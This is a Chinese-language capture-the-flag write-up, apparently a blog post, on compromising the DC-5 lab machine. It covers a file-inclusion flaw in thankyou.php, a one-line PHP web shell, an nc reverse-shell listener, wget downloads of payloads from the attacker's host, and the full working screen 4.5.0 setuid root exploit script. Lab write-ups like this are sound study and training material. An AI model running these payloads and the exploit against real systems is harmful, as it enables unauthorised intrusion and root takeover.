前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >靶机渗透DC-5

靶机渗透DC-5

原创
作者头像
HipHip
修改2020-04-20 11:17:21
4680
修改2020-04-20 11:17:21
举报
文章被收录于专栏:靶机渗透

扫到IP之后访问网站。

001
001

随便翻翻,只有contact模块有留言板。

002
002

dirsearch扫描一波,没什么发现。

003
003

那就还是在留言板找找。

随便写点什么,提交。

004
004

观察一下url。

代码语言:javascript
复制
http://192.168.70.161/thankyou.php?firstname=xsa&lastname=xsax&country=britain&subject=xsa

提交的参数是直接拼接在url后面而且什么变化也没有,那要是构造file呢?

代码语言:javascript
复制
http://192.168.70.161/thankyou.php?file=/etc/passwd

005
005

找到突破点了!

然后利用nc监听反弹Shell

代码语言:javascript
复制
nc -lnvp 444
<?php system($_GET['cmd']); ?>

006
006
006
006

然后python获得交互式Shell

代码语言:javascript
复制
python -c "import pty;pty.spawn('/bin/bash')"

007
007
代码语言:javascript
复制
find / -perm -u=s -type f 2>/dev/null

看看root权限的命令都有什么。

008
008

screen有点奇怪,msf搜索一下。

009
009
代码语言:javascript
复制
#!/bin/bash
# screenroot.sh
# setuid screen v4.5.0 local root exploit
# abuses ld.so.preload overwriting to get root.
# bug: https://lists.gnu.org/archive/html/screen-devel/2017-01/msg00025.html
# HACK THE PLANET
# ~ infodox (25/1/2017) 
echo "~ gnu/screenroot ~"
echo "[+] First, we create our shell and library..."
cat << EOF > /tmp/libhax.c
#include <stdio.h>
#include <sys/types.h>
#include <unistd.h>
__attribute__ ((__constructor__))
void dropshell(void){
    chown("/tmp/rootshell", 0, 0);
    chmod("/tmp/rootshell", 04755);
    unlink("/etc/ld.so.preload");
    printf("[+] done!\n");
}
EOF
gcc -fPIC -shared -ldl -o /tmp/libhax.so /tmp/libhax.c
rm -f /tmp/libhax.c
cat << EOF > /tmp/rootshell.c                                                                                                                                                                                    
#include <stdio.h>                                                                                                                                                                                               
int main(void){                                                                                                                                                                                                  
    setuid(0);                                                                                                                                                                                                   
    setgid(0);                                                                                                                                                                                                   
    seteuid(0);                                                                                                                                                                                                  
    setegid(0);                                                                                                                                                                                                  
    execvp("/bin/sh", NULL, NULL);                                                                                                                                                                               
}                                                                                                                                                                                                                
EOF                                                                                                                                                                                                              
gcc -o /tmp/rootshell /tmp/rootshell.c                                                                                                                                                                           
rm -f /tmp/rootshell.c
echo "[+] Now we create our /etc/ld.so.preload file..."
cd /etc
umask 000 # because
screen -D -m -L ld.so.preload echo -ne  "\x0a/tmp/libhax.so" # newline needed
echo "[+] Triggering..."
screen -ls # screen itself is setuid, so... 

跟着POC走呗。

编辑三个文件。

010
010
011
011

最好在/tmp/目录下创建,待会要用到。

代码语言:javascript
复制
gcc -fPIC -shared -ldl -o /tmp/libhax.so /tmp/libhax.c
gcc -o rootshell rootshell.c
rm -f /tmp/libhax.c
rm -f /tmp/rootshell.c

然后执行这四条语句,编译文件以及删除原文件。

012
012
013
013

然后用Python传输文件。

代码语言:javascript
复制
python -m SimpleHTTPServer 8001

注意,Shell需要进入/tmp/目录下,同时kali也是在/tmp/目录下开启服务,否则传输会找不到文件。

代码语言:javascript
复制
wget http://192.168.70.154:8001/libhax.so
wget http://192.168.70.154:8221/rootshell 
wget http://192.168.70.154:8001/41154.sh

014
014

把这三个文件传输过来,然后赋予权限。

015
015

最后一步执行41154.sh

016
016
017
017

成功提权为root!

018
018

拿到flag!

原创声明:本文系作者授权腾讯云开发者社区发表,未经许可,不得转载。

如有侵权,请联系 cloudcommunity@tencent.com 删除。

原创声明:本文系作者授权腾讯云开发者社区发表,未经许可,不得转载。

如有侵权,请联系 cloudcommunity@tencent.com 删除。

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档